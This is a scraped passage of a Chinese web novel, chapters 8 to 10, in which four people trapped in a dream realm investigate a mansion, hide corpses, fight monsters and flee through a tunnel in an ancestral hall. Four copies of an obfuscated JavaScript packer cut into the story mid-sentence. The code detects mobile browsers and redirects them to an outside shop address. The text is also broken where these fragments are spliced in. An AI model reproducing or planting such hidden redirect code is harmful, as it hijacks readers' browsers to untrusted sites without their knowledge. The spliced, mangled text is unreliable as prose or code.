;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17407487|200599||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都是钟府,人员肯定有对应关系,秦旭大概率是二人中的一个。 可钟夫人又是谁? 最关键的是,梦境主人是谁?他们找到梦境主人后又该怎么离开? 线索一团乱麻,钟白青回头看了眼在院外等着的邵空青。 也不知道他那边有没有别的发现。 钟锦安看出钟白青心里有事,关切地上前轻声询问:“大姐姐怎么啦?” 钟白青摇摇头:“没什么,只是忽然想起还有点事,锦安你这边还有什么需要我们帮忙的吗?” “没有没有,我这边已经没什么事啦,今天麻烦大姐姐和二姐姐了。”钟锦安说着,不好意思地低下头。 钟白青摸了摸她的头安慰道:“别多想,这都是小事,以后如果还有什么需要帮忙的,直接来找我和你二姐姐就是,不用觉得不好意思。” “既然没别的事了,我和你二姐姐就先回去咯。” 钟锦安:“好的,我送送你们。” 钟白青拦下她:“没事不用送,你快带小旭试试衣服合不合身。” 钟锦安没再坚持,点头说了声好,然后拉着小煦的手,目送几人离开。 …… 几人回到钟锦思,也就是钟白青的住处,小心地关上房门。 钟白青开门见山道:“你们有什么发现吗?” “钟锦安和秦旭一样穿绿旗袍。” “小旭的旭可能是秦旭的旭。” 叶翛和华元一人一句,话音刚落下,两人对视一眼,立马又翻着白眼把头扭向另一边。 邵空青:“秦旭不一定就是小旭,还可能是钟锦安。” 钟白青看向他,没接话。 邵空青笑笑:“我能想到的,你一定也能想到。” “我目前更倾向于秦旭是钟锦安。小旭是乞丐,她的名字可能是障眼法,这个角色可能是多余的。至于钟夫人,我猜是钟府内和钟锦安关系好的人。” 钟白青:“目前看来,钟锦安和她大姐二姐关系还可以。” “嘶。”钟白青倒吸一口凉气,“钟夫人说过,她的丈夫是被她姐妹杀害的。” “会不会是,钟锦安杀了她大姐或者二姐的丈夫,然后改头换面,抛弃钟府小姐身份,改用了小旭的丫头身份?” 邵空青点头表示同意:“确实有这种可能,那梦境主人就是钟夫人了?她引导我们火烧未来的钟府,又把我们带到过去的钟府,目的是阻止钟锦安杀人?” 叶翛打断二人:“可是,钟锦安看上去不像会杀人的样子啊。” 钟白青分析:“她现在才8岁,可能因为不公平待遇,后期心理扭曲了?” 叶翛恍然大悟:“对哦,她只有个小姐的虚名。” 邵空青:“所以我们现在要确认钟夫人的真实身份,并阻止钟锦安杀人?” “大概是吧。”钟白青点头,沉思几秒,突然恶劣一笑,“我倒是有个好主意。” 邵空青表情微愣,华元则找到机会插嘴问:“什么好主意?” 钟白青笑嘻嘻:“反正死的不是你华元,就是邵空青。” “不如直接弄死你俩,把戏台砸了,我倒要看看,她还怎么唱这出大戏。” 8. 第 8 章 邵空青抿着嘴没接话,华元哇哇大叫着连退三步:“你这女人也太恐怖了!不是烧杀抢掠就是杀人放火!” 叶翛被他的反应逗得哈哈大笑:“看你那怂样!” 说着,又揽住钟白青的肩膀:“我们白青就是个天才!” 叶翛认识钟白青都多少年了,不用明说就知道她是在开玩笑。 就算钟白青知道把人弄死是正确选项A,也一定会想办法找到零伤亡的选项B。 邵空青脸上一贯的微笑消失,周身气压也低了几分,犹犹豫豫着说:“你想的话,也不是不……” 钟白青被吓得急忙打断他:“哎呀,我开玩笑的。” 这人怎么回事,开玩笑当真就算了,不开心她也理解了。但为什么真要奉献自己的生命?她钟白青救过他的命吗? 邵空青抿唇看她,眼神里藏着小小的期望。 钟白青有些紧张地移开视线,轻咳一声说:“不是说钟夫人的丈夫出轨了吗,万一这条信息是真的呢?那她后来可能离婚又再婚了嘛,死的可能是她二婚老公。” 钟白青越说越觉得自己的猜测正确:“钟夫人肯定是跟她二婚老公感情太好,忽略了钟锦安,才导致钟锦安心生嫉妒,动手杀了她二婚老公。” 管她有没有二婚,反正钟白青不可能真把俩大活人弄死。她可是社会主义接班人,违法乱纪的事可从来没干过! 邵空青听完她一通分析,看上去好像心情更差了,见钟白青刻意移开视线,没多说什么,安静地在桌前坐下,取出茶具慢悠悠倒出四杯茶。 叶翛适时打破尴尬的气氛:“那咱现在怎么办啊。” “等着呗,我们都分析到这份上了,现在就等梦境主人主动发布任务推动剧情了。” …… 结果就是,一整天下来,再也没人来找过他们。并且因为他们目前身份特殊,不方便到处跑。 等到天黑,几个丫头送了一桌子饭菜过来,几人吃饱喝足后,收拾桌子的间隙一个丫头问道:“时间晚了,二小姐和二姑爷可要回房休息?” 钟白青:“你送他们回去吧。” 根据人设来看,他们两对夫妻肯定不能住同一间房的。 然后叶翛就不情不愿地朝钟白青挥手告别,又不情不愿地跟在丫头身后离开。 人走光后,房间内只剩下钟白青邵空青两人。 因为下午的事,钟白青不确定他还有没有心情不好,思来想去干脆端起一杯茶递给他:“那个,解解腻?” 邵空青自然地接过茶杯道了声谢,说:“晚上你睡里屋吧,我睡外屋。” 这个房间很大,里屋一张复古雕花木窗,外屋则摆着一张躺椅。 钟白青点头答应,感觉气氛还是有点尴尬,咬着下唇等了几秒,想不到说什么来打破尴尬,逃也似的起身:“那个,我先去睡觉了,你也早点休息。” …… 第二天天刚亮,钟白青就被一阵尖叫声吵醒。 跌跌撞撞的脚步声靠近门口,一个灰布衫丫头猛地撞开门,满脸惊恐,视线略过睡在外屋的邵空青,径直奔向里屋。 她胸口起伏得厉害,结结巴巴道:“大小姐,不、不好了,三、三少爷在咱院子池塘里溺死了!” ? 钟白青在心里骂骂咧咧,从被窝里爬出来。 烦死了!自从来了这个鬼地方,一天懒觉都没睡过! 她不耐烦地随便套上衣服,对灰布衫丫头说:“走,带我去看看。” 路过外屋的时候,邵空青也已经收拾妥当,两人对视一眼,并肩走出门。 院子里没其他人,只有一具尸体。正面朝天,漂在院中的小池塘里。 钟白青:“没别人看到吧?” 灰布衫丫头哆哆嗦嗦低着头,不敢多看池塘里的尸体半眼:“没、没有,我过来时其他人还在吃早饭。” “那你去门口拦着,别让任何人进来。” 钟白青看着灰布衫丫头踉跄着小跑到院子外,院门被虚掩上。 随后她打量了一下四周,东厢房门口架着一根竹竿,刚好可以用来捞尸。 邵空青顺着她的视线望去,拦下她:“我来吧。” 他动作很快,竹竿穿进尸体衣服上的盘扣,用力一拨,尸体就顺着力道靠近岸边,再向上一挑,上半身出了水,靠在岸边稳住了。 钟白青做了几个深呼吸,她没亲眼见过尸体,这会有一点心理障碍。调整好后,屏气凑近尸体观察。 面部没有浮肿,鼻腔也很干净。但是池塘里种了荷花,湖边也漂着少量浮萍。如果在这个池塘里溺死,鼻腔不会这么干净。 钟白青跟邵空青对视一眼,两人心里都有了答案。 有人先杀了三少爷,然后抛尸在他们院子里。 钟白青在心里迅速作出判断:“既然想陷害我们,就一定会安排人来抓我们。快,趁现在,我们提前把尸体销毁了。” 邵空青愣怔了几秒,刚要接话,门外却传来动静。 “二小姐,您不能进去,大小姐她现在不方便。” “卧槽她也不方便?”是叶翛刻意压低的声音,“白青,能听到吗?我这边也出事了。” 钟白青来到院门口,拉开门,叶翛和华元都在,两人都一脸紧张。 进了院子看到池塘边的尸体,叶翛又忍不住一阵干呕,缓了好一会才苍白着脸问:“我那边有个四少爷溺死了,咱现在怎么办?” “毁尸灭迹。” “?”叶翛愣了一下,下意识接话,“经常杀人的都知道……” 钟白青:“杀人容易,藏尸难。” 华元无语:“所以咱几个,谁会处理尸体?” 四人面面相觑,大家都是合法公民,没人干过这事,也没人研究过这事。 钟白青啧了一声,把门口的灰布衫丫头叫进来:“去,找个草席竹席什么的,把三少爷尸体捞上来裹上。” 灰布衫丫头瞳孔地震,嘴唇嗫嚅着想说点什么,最终无奈还是乖乖按钟白青说的去做了。 把三少爷里三层外三层打包完毕后,两男为难了半天,最终还是主动上前,一头一尾一起抬起尸体,用询问的目光看向钟白青。 钟白青尴尬挪开视线,说:“外面还有个大池塘,一会拆了包裹丢大池塘去,假装是在外面溺水的。”反正只要不死在他们院子里就行。 几人处理好三少爷的包裹后,迅速赶回叶翛院子,那边还有个四少爷需要打包。 以同样的手法把四少爷裹好后,刚准备出门,门外就传来嘈杂声。 钟白青骂了句脏话,迅速调整表情,越过其他三人,几步冲到院门口。 此时门外已经围了一群老头,钟白青眼尖地看到,老头后面跟着几个灰布衫家丁,手里抬着的正是他们刚扔掉的三少爷。 剧情杀!一定是剧情杀!这才多长时间,居然就已经把尸体捞出来,还精准锁定了叶翛的院子。 钟白青下意识想摸口袋里的刀,摸了个空,才意识到刀并没有跟着一起过来。 为首的老头开口,声如洪钟:“钟锦思、钟锦念!老三老四为什么会溺亡在你们院子!” 钟白青没招,只能装出一副泫然欲泣的模样,小声啜泣道:“您在说什么呀,老……三弟怎么会溺亡在我院子。倒是四弟,确实溺亡在二妹院子了。可二妹昨日在我那吃了些酒,回来便睡了,她也不知道四弟为什么会在她院子里出事……”说着,还抹了抹硬挤出来的眼泪。 老头看样子气得不轻,鼻孔出气,接着骂道:“小牧亲眼看到,你们两姐妹,还有我那两个好女婿,把老三抛进湖中!” 钟白青翻了个白眼,小牧看个屁,刚才抛尸的时候根本没人。 老头说着,突然话锋一转:“见了长辈为什么不叫?你眼里还有没有长辈了!” 钟白青耳朵被震得嗡嗡响,半眯着一只眼睛掏掏耳朵,在心里冷笑。呵,老登,也不看看你是个什么东西,配让我叫吗。 还有这破地方,不让人睡觉就算了,安排个必死局,刀也没给她留下。草,要是找到机会,肯定把你们这破钟府全炸了。 老头见她沉默,哼了一声:“既然如此,把他们四个都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17407488|200599||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 关到祠堂!没我的命令谁都不准放他们出来!” 老头话音刚落,身后的门被拉开,三人站在了钟白青身后。 钟白青感觉到有人往她手里塞进一枚茶杯碎片,圆润那头朝向她的手心,破碎那头朝外。 邵空青俯身凑近她耳边说:“一会要是打起来,找到机会你就跑。” 钟白青莫名忍不住笑起来。 这话真耳熟,邵空青让她跑,她让叶翛跑,短短三天,他们几个都快成出生入死的好战友了。 老头见钟白青在笑,顿时勃然大怒:“还不动手!” 随后,站在老头身后的灰布衫家丁齐齐走上前。 “得罪……呃……” 邵空青没废话,直接动了手,他手里藏着茶杯碎片,对准离他最近的家丁的脖子用力一划。 没有预想中喷涌而出的血,家丁脖子上只出现一个干巴巴的破口,他“嗬嗬”喘着气,声音从破口里漏出来。 几人看得头皮发麻,这些东西根本就不是人! 既然不是人,几人剩下的一丁点顾虑也消失,拿起茶杯碎片准备直接杀出重围。 老头气得用拐杖疯狂砸地:“反了,都反了!逆女还不给我住手!” 回应他的只有一个接一个倒下的灰布衫家丁。 钟白青身形灵活,一只手对准靠近的家丁喉管用力一划,余光注意到侧方又冲上来一个家丁,抬脚使劲朝他腹部踹去。 但没想到情急之下踹歪了,家丁被踹得向后踉跄几步,差点和叶翛贴脸。 叶翛“哇”了一声,身体比脑子反应快,趁家丁还没站稳,抬手也是一招封喉。 叶翛心跳得很快,这时候还不忘冲钟白青喊:“感谢白青送来的人头!” 钟白青原本看到叶翛有危险,提到嗓子眼的心因为这句话又放回肚子。 “不客气,这是对主播实力的肯定。” 华元的喊叫声打断二人的贫嘴:“你俩别贫了,这玩意好像越来越多了。” 钟白青闻言环视一圈周围,的确,灰布衫就像能无限复制一样,从老头身后一批又一批涌出来。 邵空青又解决了一个家丁后,眼疾手快抢了唯一一根家丁手里的木棒,以标准的打棒球姿势打飞靠近钟白青的几个家丁后,觑着没人的空隙朝她靠近。 “这样下去不是办法,我去解决那几个老头试试。” 钟白青应下:“行,后背交给我。” 邵空青嗯了一声,又是一棒打飞几个家丁后,迅速突破包围圈,瞄准老头咽喉,三步并作两步冲过去。 老头见局势有变,却没动,阴沉着脸,用力砸了一下手中的拐杖。 骤变突生,躺在老头身后的三少爷尸体突然扭曲着翻了个身,面朝下,身体像蛇一样在地上飞速爬行。 它爬到拐杖边,盘旋着攀上拐杖,头部渐渐胀大,张大嘴,嘴角裂到耳根,那双灰蒙蒙没有焦距的瞳孔里竟然透出一丝疯狂的笑意。 邵空青心里一惊,堪堪在那张变形的脸前收住脚步。 三少爷却再生变故,脖子突然拉长,一口咬住邵空青的手,随后软烂变形的头沿着邵空青的手臂一路向上攀。 快接近他脖子时,钟白青瞄准三少爷因变形撑大的眼球,用力将手里的茶杯碎片掷出去。 碎片扎进它的眼睛,它动作停滞一瞬。 紧接着,钟白青身后又传来一声尖叫。 是之前被他们打包好的四少爷,不知道什么时候挣脱了竹席,变成了和三少爷一样的怪物。 它的身体盘住叶翛的腿,华元的动作像要去救叶翛,却不料四少爷的头瞬间调转180度,血盆大口对准华元即将咬下。 钟白青进退两难之际,尖锐的尖叫声刺进耳膜贯穿大脑。 是钟锦安。 “父亲不要!快住手!” 钟锦安尖叫过后,钟白青突然感觉天旋地转,身体力气莫名被抽空,她意识到这是要走固定剧情了。 倒在地上前,意识的最后一秒,她在心里连骂好几句脏话。 去你大爷的剧情杀。 9. 第 9 章 钟白青是第一个睁眼的。 入眼的是方格木头天花板,头顶悬着一根房梁,连接到屋角的卯榫结构。 钟白青揉着脖子坐起身,不远处有光线从天井洒下。祠堂纵深很长,有两个天井采光,最里面隐约能看到烛火摇曳。 其余三人倒在她身边,显然他们是一起被扔在祠堂门口的。 钟白青挨个把人叫醒,叶翛坐起来懵了一会,突然嗷了一声,左右张望一番又松了口气:“还好还好,没怪物了。” 钟白青补充:“但我们被关起来了。” 叶翛和华元同时发出一声哀嚎,华元四仰八叉倒回地上:“要不咱再睡会吧,我们程序员本来就缺觉,这几天还每天都要打架,牛马真的顶不住了。” 叶翛深有同感,但介于华元比她嚎得更惨,五十步笑百步,她笑嘻嘻地戳他肩膀:“你这个年纪,你睡得着觉?有点出息没?” 华元扇蚊子似的挥挥手:“去去去,没良心的,刚是谁看你被怪物缠了,义无反顾立马冲过去救你的?” 叶翛闻言吐了吐舌,收起嬉皮笑脸,抱着膝盖问:“白青你有什么打算,我要做什么吗?” 钟白青摆摆手:“不用,你俩歇会吧。” 她走到祠堂门边用力推拉了一下,纹丝不动,透过门缝能看到外面横着一根门栓,看样子暂时没法从大门出去了。 然后她看向祠堂深处,回想起昨天放的那把火,心中一动。 要不,把这里也烧了? 构想了一下逃跑路线,钟白青摇摇头。目前还不能烧,万一逃不出去,他们四个人都得祭天。 邵空青此时已经在大门两侧转了一圈回到原点,见钟白青一副若有所思的模样,询问道:“有什么想法?” 钟白青摇头。 她盯着祠堂深处摇曳的火苗、墙上晃动的光影,想起火焰中心钟锦安对她招手的画面。 钟白青:“我想进里面看看。”虽然这样很冒险。 “好。”邵空青答应得很快,“但我们没防身的东西了。刚才在周围看了一圈,没有能拆下来用的。” 钟白青嗯了一声表示回应,往前几步走到天井底下,透过天井仰望天空。 天色还很亮,看不出具体几点了。但根据前几天的经验判断,白天大概率不会出什么问题。 钟白青:“趁着天还亮,进去转一圈就出来。” 她说完没动,依旧保持着仰头的姿势,眯着眼,估算着天井和地面的距离。 天井离地面应该有六米,如果他们四人叠一起,高度倒是够出去。但问题是,非专业人员,最好不要尝试高危动作。 钟白青叹了口气,对邵空青说:“你留这边吧,防止他们两个睡着睡着人没了。” 叶翛举手打断她:“不用留,我不睡,你俩放心大胆冲!我们绝对不会拖后腿!” 华元也声音含糊地跟着附和了两声。 这下没什么好客套的了。 邵空青看着钟白青,微微侧头示意,走? 钟白青点头,走! …… 二人经过第二口天井时,默契地同时抬头看了一眼。 天井上毫无遮挡,也没有怪物在其中窥伺。今天是阴天,天空呈灰蓝色,心情也灰蒙蒙的。 靠近享堂后,两侧墙壁上挂着简单的族谱,像思维导图一样,只记录了钟家历代成就高的名人。 享堂正中摆着一些器皿,钟白青吃饭找电子榨菜的时候看到过,基本都是祭祀用品。 进入寝堂范围内,淡淡的香烛味钻进鼻子,七阶牌位立于神龛前。 钟白青回头望了一眼,没有任何异常,于是壮着胆子缓步靠近牌位。 随意扫了一眼牌位,能看出钟家每代选用的字辈。钟白青往藏头字的方向推演了一番,默默摇头,没有找到有用的线索。 邵空青则往寝堂两侧走,他看东西很仔细,所有边边角角都会逐一排查。但两侧除了装饰用品和小型神龛,没发现什么有价值的东西。 突然,钟白青余光扫到,放牌位的桌角下压着一本书:“邵空青。” 他闻言走来,顺着她的目光看去:“我来抬桌子,你去拿。” 供桌被最小幅度地抬起,七阶牌位稳稳当当,没有一丝晃动。 钟白青蹲下,伸手飞速抓起书,随后环顾一圈四周,拉起邵空青胳膊,加快脚步往外走。 “我们到外面再看。” 寝堂的牌位和神龛实在太多,呆在这种环境有种很强的压抑感,她感觉很不舒服。 等回到祠堂门口也没发生异状,钟白青才放心地在叶翛身边坐下,拿起书拍了拍上面的灰。 封面上没有书名,看不出是记录什么的。 叶翛将下巴搁在钟白青肩上,邵空青也以完美社交距离在另一边坐下后,钟白青翻开第一页。 「今天不小心听到父亲同大姐姐说话,父亲说大姐姐没天赋是什么意思呢?大姐姐好像不太开心,但是父亲说把管家权交给大姐姐,她好像又开心一点了。」 叶翛含糊出声:“这是钟锦安的日记啊。” 「二姐姐对我真好,以前从来没人带我买衣裳,二姐姐居然带我去店里挑。好多好漂亮的衣服,绿色的最好看,二姐姐给我买了好多,以后我也要送她好多漂亮衣服。」 「唉,又不小心听到父亲同几位哥哥说话了,父亲说三哥哥和四哥哥天赋最好,天赋究竟是什么呢?」 「三哥哥四哥哥在同另外几个哥哥炫耀,三哥哥手里拿着一根白色的东西,像大黄最爱啃的骨头,这个东西很厉害吗?」 「完了,为什么总是不小心听到父亲同哥哥姐姐们说话?父亲说秦家人天赋低,但贡献大?天赋究竟是什么?而且……为什么父亲从不找我说话。」 「今天没忍住,找大姐姐问天赋是什么。大姐姐没告诉我,但是摸了我的头好久,她的手好暖。」 「大姐姐今天给了我一本书!她说看了就能明白天赋是什么了,大姐姐对我真好!」 「我对不起大姐姐,我没看懂她给我的书。梦貘骨吃人是什么意思?梦域和梦主又是什么东西?」 「我知道了!我知道天赋是什么了!三哥哥和四哥哥天赋高,进了梦域不会死,反而有机会在梦域当梦主。当上梦主,就可以做梦域的神!」 「梦貘骨不是好东西!它每10年就要吃一次人!父亲疯了,父亲居然想进梦域当神!他们都会死的!」 「秦家……父亲不能这么做……」 「今天在街上看到一个女孩子,她好可怜,我想带她回家,再流浪下去她会死的,可她为什么不理我?」 「今天她告诉我她叫小煦,真是个好名字,像太阳一样温暖。」 再往后翻就全部是空白了,钟白青合上日记。 “这是在给我们介绍背景故事?看样子我们是进‘梦域’了。” “什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17407489|200599||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 野史神话。” 华元不知什么时候已经坐起来,蹲在叶翛身后无声无息看了好半天,乍一开口,吓叶翛一跳。 她一手拍着胸口,一手用手肘怼了华元一下:“能别一惊一乍吗?” 华元低头看她:“是你胆子太小……哎错了错了,你胆子大,我的锅。”华元被肘到一屁股坐地上,举着双手紧急改口。 叶翛哼了一声没管他,转头眨着眼睛问:“如果我们在梦域里,那我们现在没死诶,我们岂不是可以成神?” “感觉不妙。”邵空青摇头,“这里的神应该不是我们认为的神。” 钟白青同意:“而且,吃人的可能也不是骨头。” 而是“成神”的人。 钟白青:“感觉秦家也是关键,天赋低但是贡献大?这么矛盾的两个词怎么会被放在一起。” 钟白青看着手里的日记,叹了口气。介绍半天背景故事,到底想干什么? 邵空青站起身,又走到祠堂门口,透过门缝看了一眼,试着推了一下门,依旧纹丝不动:“我觉得我们得赶紧找其它路了。” “如果这个地方存在‘吃人’的现象,天黑后我们可能会很危险。” 钟白青抬眼看向深处摇曳的火苗:“恐怕只剩一条路了。” 华元反应过来:“你们刚才在里面找到路了?” 邵空青摇头:“没,但有一个地方还没看过。” 他说着,对上钟白青的视线,两人异口同声:“牌位。” “不是?”叶翛震惊,“咱要去把人祠堂掀了?” 钟白青严肃否认:“不掀,借个道而已。” …… 四人走到寝堂前,停住脚步。 华元搓搓胳膊:“你们觉不觉得太冒险了。” 钟白青肯定道:“确实冒险。” 说着,她率先踏进寝堂范围:“但坐等天黑也冒险。” 钟白青忍着不适靠近牌位,侧身挤进桌边的空隙,靠近墙壁,才发现墙上平整地挂着一条布帘,由于过于平整,昏暗光线下和墙壁融为一体。 她小心翼翼扯开帘子,布料划过头顶的神龛,发出粗糙的摩擦声。 紧张地把帘子拉开一半后,神龛底下,牌位后方,露出一扇半人高的小门。 钟白青立马放下帘子退出来,和邵空青对视一眼,默契地同时上手抬供桌。 供桌太沉,牌位在挪动过程中摇摇晃晃,感觉随时要倒。 不知道为什么,钟白青觉得不能让牌位倒下,至少不能由他们弄倒。 幸好她有健身习惯,手臂很稳,两人把供桌挪开后,一个牌位也没倒下。 叶翛早就紧张得屏住呼吸,见没意外发生,放松地呼出一口气。 钟白青思索一番,还是试探性地拿起香炉边的一根蜡烛。 手在半空静滞几秒,好像没事,便又拿起另一根蜡烛,递给邵空青。 “我先进去,翛翛跟我后面,然后是华元,邵空青你殿后吧。” 说完,她几步上前,半蹲着用烛光照亮小门,在门的右边有个方形凸起,她轻轻拧了一下,咔哒一声,锁开了。 她屏息伸手把门拉开,随着一声酸掉牙的吱呀声,门后的景象映入视线。 预料之中,那是一条很窄的甬道,只够让一个成年人半蹲着通过。 甬道是个斜向下的坡,微弱的烛火照明范围有限,光照范围外黑漆漆一片,通往地下。 10. 第 10 章 钟白青啧了一声,咬着下唇,突然有点犹豫了。 如果底下有东西,他们四个人赤手空拳,打也打不了,跑也跑不掉。 而且往下走,也不知道空气质量怎么样。 “要不,咱再考虑一下?”钟白青侧身让开,蜡烛依旧放在甬道口,展示里面的景象,“我们没防身工具,贸然下去太冒险了。” 华元义正言辞地附和:“太冒险了!” 邵空青将蜡烛放回香炉旁,上前关上门:“那就不去了。” …… 几人在天井底下明塘边坐下,天色渐暗,钟白青把蜡烛放在地上,几人就这么沉默地围坐在微弱的烛光边。 钟白青看着眼前跳动的光影,复盘着这几天的经历,渐渐出神。 事情好像可以被简单串起来了。 基本可以确定,他们在“梦域”里,而秦旭说的梦境主人就是“梦主”。 整个事件都围绕着钟夫人运转,她应该是梦主没跑了。 钟白青想到什么,心头一跳,开口:“如果进梦域只有‘被吃’和‘成神’两个选项,那钟夫人岂不是已经‘成神’了?” 邵空青闻言沉思两秒,跟上她的思路:“她能‘成神’,所以她有‘天赋’?” 钟锦思和钟锦念没有天赋,那钟夫人就不是她们当中任何一个。 叶翛:“会不会是钟锦安?” 华元摆摆手:“哎呀不会,一共就七个小辈,钟老头给六个看了天赋,没道理漏掉一个。我看啊,肯定是早就看出了她没天赋,加上权力有两个大女儿管着,就忽略了这个没什么用的小女儿呗。” 几人都觉得他说的有道理。 那么现在所有线索都指向最后一个人——小旭。 华元:“梦主是钟夫人,那钟夫人就是小旭咯?” 钟白青却摇头否认:“小旭是梦主应该没错,但她应该是秦旭,秦旭才是梦主。” “她一直在控场,用‘演员’身份接近我们,告诉我们梦主会亲自参演剧本,引导我们按她设定的剧本走,还不告诉我们真正的破局方法。” 联系之前的种种异常,秦旭其实早就明牌了,在跟他们玩灯下黑。 叶翛咬牙切齿:“她可真能演。” 邵空青:“那钟夫人就是钟锦安了。” 钟白青点头,一切都圆上了,只是不知道秦旭到底想干嘛。 而且她把钟锦安关起来干嘛?按说钟锦安是她的救命恩人,不应该……等一下。 “秦旭,秦家人!” 叶翛华元同时卧槽了一声。 钟白青接着分析:“看日记的意思,秦家大概率是被钟家坑害了,导致秦旭流落街头。她一定知道钟锦安和她有仇,所以刚认识的时候没理钟锦安。” 叶翛惊呼:“但之后她又跟着钟锦安回了钟府……她是想报仇吧!” 钟白青认可地点点头:“三少爷和四少爷可能就是她杀的,之后不知道又发生了什么,钟府没落,她成了钟家话事人,并把跟她有仇,但对她有恩的钟锦安囚禁了。” 邵空青跟着推测:“所以她想让我们帮她报仇,报仇对象是钟家人?” 钟白青迟疑地点点头:“目前看来,这种可能性最高……” 华元嘴角抽搐,痛苦抱头:“我的天呢,我只是个码农,高考语文才90分,为什么会莫名其妙跑来玩剧本杀?” 邵空青不语,安慰式地拍拍他肩。 空气恢复沉默。 虽然新思路有了,但他们的现在手无寸铁被困在这个祠堂里,有点任人鱼肉的味道。 …… 天色早已黑沉,地上的烛火一直跳跃着,没有任何损耗的痕迹,几人被光线晃得昏昏欲睡。 骤变突生。 原先随空气流动缓慢跳动的烛火突然剧烈颤抖起来,几人感到身后刮起一阵夹着腥臭的风。 华元原本靠在明塘边昏昏欲睡,伴着腥风发出一声惨叫,连滚带爬从地上爬起来,一下子窜出好几米。 钟白青回头。 一个黑影从明塘爬出,借着微弱的光线她看见,几十根肢体错节缠在一米宽的躯干上,十几个脑袋挂在肢体间空隙处,每个脑袋都睁着眼睛,怒目圆瞪。 十几个脑袋同时开口,声音阴沉:“钟家人……” 太恶心了,钟白青头皮发麻。 几息间,怪物完全从明塘里爬出,足有三米高,像十几个人被融在一起,堆成个巨型怪物。 腥臭的烈风吹乱了钟白青的头发。 邵空青条件反射起身后退,伸手想去拉钟白青,却拉了个空。 钟白青早已拉起叶翛准备跑,临时想起蜡烛,又弯腰捡起。 她回头看了邵空青一眼,同时喊住吓得往门口逃窜的华元:“别乱跑!去牌位后面的甬道!” 她算是知道那条甬道有什么用了,这么大的怪物,应该挤不进那条窄小的甬道。 华元原本还在拼命擂门,听到钟白青的话,转身撒丫子就跑。 怪物没管已经跑远的华元,十几双眼睛齐齐盯着眼前聚集的三人,露出阴恻恻的笑:“钟家人……偿命……” 钟白青心头一紧,不能被一锅端了。 她松开叶翛的手,把她往寝堂方向一推:“分开跑!” 叶翛没浪费时间,嗯了一声沿着左侧廊道向前飞奔。 邵空青顺着中间的路跑,钟白青则绕了个圈,跑向右侧廊道,两人几乎同时起步。 怪物此时终于动了。 它没追离它最近的邵空青,转而迈出步伐往钟白青方向追去。跨出的一步接近两米,速度极快。 钟白青皱着眉,她没回头,但能感觉到地面的震动方向,那怪物明显是往自己这边追来的。 为什么会追她?钟白青不解。 手中的烛火燎过她的一根发丝,一缕蛋白质烧焦的味道钻进鼻子。 啊,是因为蜡烛吗? 容不得她多想,那怪物速度极快,在她距离寝堂还有十米远的时候,怪物已经几乎要抓住她。 她一咬牙,侧头用余光估算了一下怪物的位置和距离,反手把蜡烛朝怪物身上扔。 怪物抬起一根残肢,两指捏住蜡烛,居然真的停下了脚步。它将蜡烛狠狠扔在地上,又抬脚狠狠将蜡烛碾碎。 几个动作下来,钟白青又跟怪物拉开了距离。 前方寝堂的两扇门被关上一扇,邵空青站在右侧那扇门口。 两人对视两秒,钟白青跨过门槛,邵空青用力将门合上,插上门栓。 钟白青呼吸急促,视线捕捉到供桌上的蜡烛,思索再三还是拿起蜡烛,率先打开小门,半蹲着进入甬道。 她回头招呼三人:“快!按上次说的!” 叶翛华元紧随其后,两人半蹲着挤进甬道时,寝堂的门被轰然破开,怪物庞大的身躯直接将木门撞个粉碎。 邵空青心跳加速,跟在华元身后,反手拉上小门。 等他也距离小门两米远后,小门也被一只手破开,怪物的一只残肢在甬道口胡乱抓挠。 邵空青心有余悸,幸好怪物手臂没有两米长。 没抓到人的怪物显然进入疯狂状态,拼命撞着甬道口:“钟家人该死!钟家人该死!啊啊啊!” 钟白青感觉整条甬道都在震动,心中焦急愈盛。 必须再快一点,必须赶紧离开这条甬道! 半蹲着很难走,几人速度虽然不快,但也不算太慢。在地动山摇中渐渐远离甬道口后,震动莫名停了,远方传来一阵零碎的物品落地的哗啦声。 是牌位,怪物拿牌位泄愤了。 钟白青心里松了一口气,幸好当时牌位没倒,不然少一个吸引怪物注意力的道具。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17407490|200599||http|test|mini|href|location''.split(''|''),0,{})); () { 